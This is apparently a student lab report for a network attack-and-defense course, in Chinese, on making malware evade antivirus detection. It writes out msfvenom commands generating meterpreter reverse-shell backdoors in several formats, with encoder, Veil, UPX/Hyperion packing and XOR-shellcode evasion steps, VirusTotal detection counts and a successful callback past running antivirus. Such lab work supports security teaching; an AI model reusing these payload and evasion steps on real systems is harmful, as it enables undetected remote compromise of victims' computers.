20222412 2024-2025-1 《網路與系統攻防技術》實驗三實驗報告

wwwwyg發表於2024-10-30

20222412 2024-2025-1 《網路與系統攻防技術》實驗三實驗報告

1.實驗內容

(1)正確使用msf編碼器,veil-evasion,自己利用shellcode程式設計等免殺工具或技巧

  • 正確使用msf編碼器,使用msfvenom生成如jar之類的其他檔案
  • veil,加殼工具
  • 使用C + shellcode程式設計

(2)透過組合應用各種技術實現惡意程式碼免殺

如果成功實現了免殺的,簡單語言描述原理,不要截圖。與殺軟共生的結果驗證要截圖。

(3)用另一電腦實測,在殺軟開啟的情況下,可執行並回連成功,註明電腦的殺軟名稱與版本

2.實驗要求

  • 掌握免殺原理與技術

  • 回答問題

    (1)殺軟是如何檢測出惡意程式碼的?

    • 基於特徵碼的檢測:防毒軟體會維護一個病毒庫,裡面包含了大量已知惡意軟體的特徵碼(通常是一段唯一的位元組序列)。當掃描檔案時,如果發現檔案中包含與病毒庫中相匹配的特徵碼,就會將其標記為惡意程式碼。
    • 啟發式惡意軟體檢測:這種方法不依賴於特定的特徵碼,而是透過分析程式的行為、程式碼結構等特徵來判斷其是否具有惡意性。如果一個程式的行為或程式碼結構與已知的惡意軟體相似,就會被判定為惡意程式碼。
    • 基於行為的檢測:這種檢測方式側重於監控程式的執行時行為,如檔案操作、登錄檔修改、網路連線等。如果程式表現出可疑的行為,如未經授權的檔案訪問或修改,就會被標記為惡意程式碼。

    (2)免殺是做什麼?

    • 免殺,是一種使惡意軟體能夠逃避防毒軟體檢測的技術。它透過各種手段改變惡意軟體的程式碼或行為,使其不再符合防毒軟體的檢測標準,從而避免被查殺。

    (3)免殺的基本方法有哪些?

    • 修改特徵碼:透過改變惡意軟體中的特定位元組序列(特徵碼),使其不再與防毒軟體的病毒庫中的記錄相匹配。
    • 加殼:給惡意軟體加上一個外殼,使其在執行時先執行外殼程式碼,再執行惡意程式碼。這樣,防毒軟體就很難直接檢測到惡意程式碼的存在。
    • 編碼和加密:對惡意程式碼進行編碼或加密,使其在靜態分析時難以被識別。只有在執行時才會解密並執行。
    • 混淆和偽裝:透過新增垃圾程式碼、改變程式結構等方式,使惡意軟體的程式碼變得難以理解,從而增加防毒軟體的檢測難度。
    • 利用漏洞:利用作業系統或應用程式的漏洞來執行惡意程式碼,這些漏洞可能尚未被防毒軟體所知曉或無法有效防禦。
    • 社工攻擊:透過社會工程學手段誘騙使用者關閉防毒軟體或執行惡意軟體。

3.實驗過程

3.1 正確使用msf編碼器,veil-evasion,自己利用shellcode程式設計等免殺工具或技巧

3.1.1 使用msf工具生成.exe後門程式

使用指令

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.191.130 LPORT=2412 -f exe > 20222412_1.exe

生成後門程式,如下。

將生成的後門程式放入virustotal進行評估,檢視免殺效果,如下。

可以看到,免殺效果為58/71,以此為基準,與後續進行免殺處理後的檔案進行對比
使用指令

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.191.130 LPORT=2412 -f exe > 20222412_2.exe

  • -e x86/shikata_ga_nai: 使用 Shikata Ga Nai 編碼器對生成的有效載荷進行編碼,以提高其繞過防病毒軟體的能力。Shikata Ga Nai 是一種多型性編碼技術。
  • -b '\x00': 指定需要避免的位元組序列,這裡表示避免包含空位元組(\x00)。這通常用於確保生成的程式碼在某些環境中能夠正確執行。

執行指令如下

進行免殺效果檢測,如下。

可以看到被檢出的機率為59/71,相比之下,差距不大,由此看以看出,該種加密方式,在現如今效果並不浩。

嘗試,對後門程式多次編碼,進行測試。指令如下。

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 12 -b '\x00' LHOST=192.168.191.130 LPORT=2412 -f exe > 20222412_3.exe

此處,使用-i 12表示對其進行12此編碼。

再次,檢測免殺效果,如下。

可以看到,此時被檢出的機率依舊為59/71,由此可以看出,對於多次編碼的技術,現階段已有完善的的防禦手段。

3.1.2 使用msf工具生成其他格式後門程式

分別使用指令,生成.jar檔案、.php檔案、.py檔案以及.apk檔案作為後門程式,用以測試不同格式下的免殺效果。具體情況如下。

msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.191.130 LPORT=2412 -f jar > 20222412.jar

msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.191.130 LPORT=2412 x > 20222412.php

msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.191.130 LPORT=2412 -f py > 20222412.py

msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.191.130 LPORT=2412 x > 20222412.apk

綜合以上所有檔案格式查殺效果,可以看出,不同格式檔案對查殺效果有顯著影響,其中.py格式的檔案免殺效果最好。

3.1.3 使用veil工具生成後門程式

配置veil,使用以下指令即可安裝veil,並配置所需環境

sudo apt -y install veil

usr/share/veil/config/setup.sh --force --silent

進入veil工具介面,使用指令use 1,輸入list檢視載荷c/meterpreter/rev_tcp對應序號為7.

使用指令use 7,選擇載荷c/meterpreter/rev_tcp,並設定介面與ip地址。輸入generate生成後門程式如下。

設定完成檔名,可以看到檔案所在路徑如下。

對該檔案進行免殺效果測試,如下。

可以看到,查殺率為44/72,相比於使用msf工具生成的後門程式,查殺概論更低了。

3.1.4 使用加殼的方式實現免殺

使用指令

upx 20222412_1.exe -o 20222412_upx.exe

實現對該檔案的壓縮加殼。

可以看到查殺率為54/71,相較於未加壓縮殼時,提升較小。

使用以下指令對該檔案使用加密殼。

將待加密檔案放到工作目錄下

cp 20222412_1.exe /usr/share/windows-resources/hyperion/

進入工作目錄

cd /usr/share/windows-resources/hyperion/

加密檔案
wine hyperion.exe -v 20222412_1.exe 20222412_hyp.exe

進行免殺檢測,如下。

可以看到相較於壓縮殼,加密殼更加難以查殺,但仍然無法有效的免殺。

3.1.5採用 C+shellcode來試圖實現免殺

輸入指令

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.191.130 LPORT=2412 -f c

獲取shellcode編碼。

使用vi編譯器編譯檔案20222412_c.c,並將生成的shellcode插入該檔案。

輸入

gcc 20222412_c.c -o 20222412_c.exe

將編譯生成的20222411_c.exe檔案並傳至主機

對該檔案進行免殺效果檢測。

可以看到使用該項技術可以明顯提升免殺成功的機率。

3.2 透過組合應用各種技術實現惡意程式碼免殺

經查閱多方資料,結合多篇文章,先採用如下免殺技術,用於躲避火絨的查殺。

在使用c和shellcode編碼的基礎上增加異或操作,具體操作如下。

將msf生成的後門使用如下c程式進行異或操作,編譯執行後,將異或後的程式碼存入202222412_shellcode.txt檔案。

可以看到異或後的程式碼如下。

將異或後的程式碼插入c程式並編譯。

該後門程式上傳至VirusTotal檢測,可以看到此程式效果極佳。

使用查殺軟體查殺,如下。

3.3 用另一電腦實測,在殺軟開啟的情況下,可執行並回連成功,註明電腦的殺軟名稱與版本

將上面逃脫查殺的檔案在windows下執行。

這裡存在一個問題需要使用工具才能成功執行shellcode_launcher

執行後可以看到msf工具成功與被攻擊電腦連線。

4.問題及解決方案

  • 問題:上傳到被攻擊主機上的絕大多數透過加密後的檔案都無法正常執行
  • 問題解決方案:透過查閱資料,可以使用shellcode_launcher工具載入和執行Shellcode的軟體或程式碼片段。

5.學習感悟、思考等

在這次實驗中,我深入學習並實踐了多種免殺技術,包括使用MSF編碼器、Veil-Evasion以及自行編寫Shellcode等方法。透過這些工具和技術的組合應用,我成功地實現了惡意程式碼的免殺效果。在此過程中,我有以下幾點心得體會。

在嘗試各種免殺技術之前,深入理解每種技術的工作原理是非常重要的。例如,瞭解特徵碼是如何被防毒軟體識別的,以及如何透過修改特徵碼來繞過檢測。

理論知識需要透過實際操作來驗證。在實驗中,我發現有些理論上可行的方法在實踐中並不總是有效,這要求我們不斷嘗試和調整策略。

單一的免殺技術往往容易被防毒軟體識破,而將多種技術組合起來使用則能顯著提高免殺成功率。例如,先對Shellcode進行編碼處理,再加上殼,最後透過混淆技術進一步偽裝。

隨著防毒軟體的不斷升級,免殺技術也需要不斷更新。保持對最新安全動態的關注,及時學習和掌握新的免殺技巧是必要的。

本次使用中第二個任務尤為艱難,因為,我們所使用的是最基本的後門程式生成工具,msf中的絕大多數特徵碼已經被現代的防毒軟體獲取,尤其是加殼,可以從實驗中看到,加殼後的檔案反而更容易被發現。我所使用的異或操作其實本質上就是改變甚至消除特徵碼,除我所使用的方法,還有幾種思路值得嘗試,例如花指令等,但究其根本就是讓防毒軟體認不出你的shellcode。

不過上述方法還存在缺陷,對於基於沙盒的免殺技術就比較難以實現,我認為解決思路可以增加任務觸發shellcode,但不能是使用例如開機自啟動這種比較容易發現的任務。

相關文章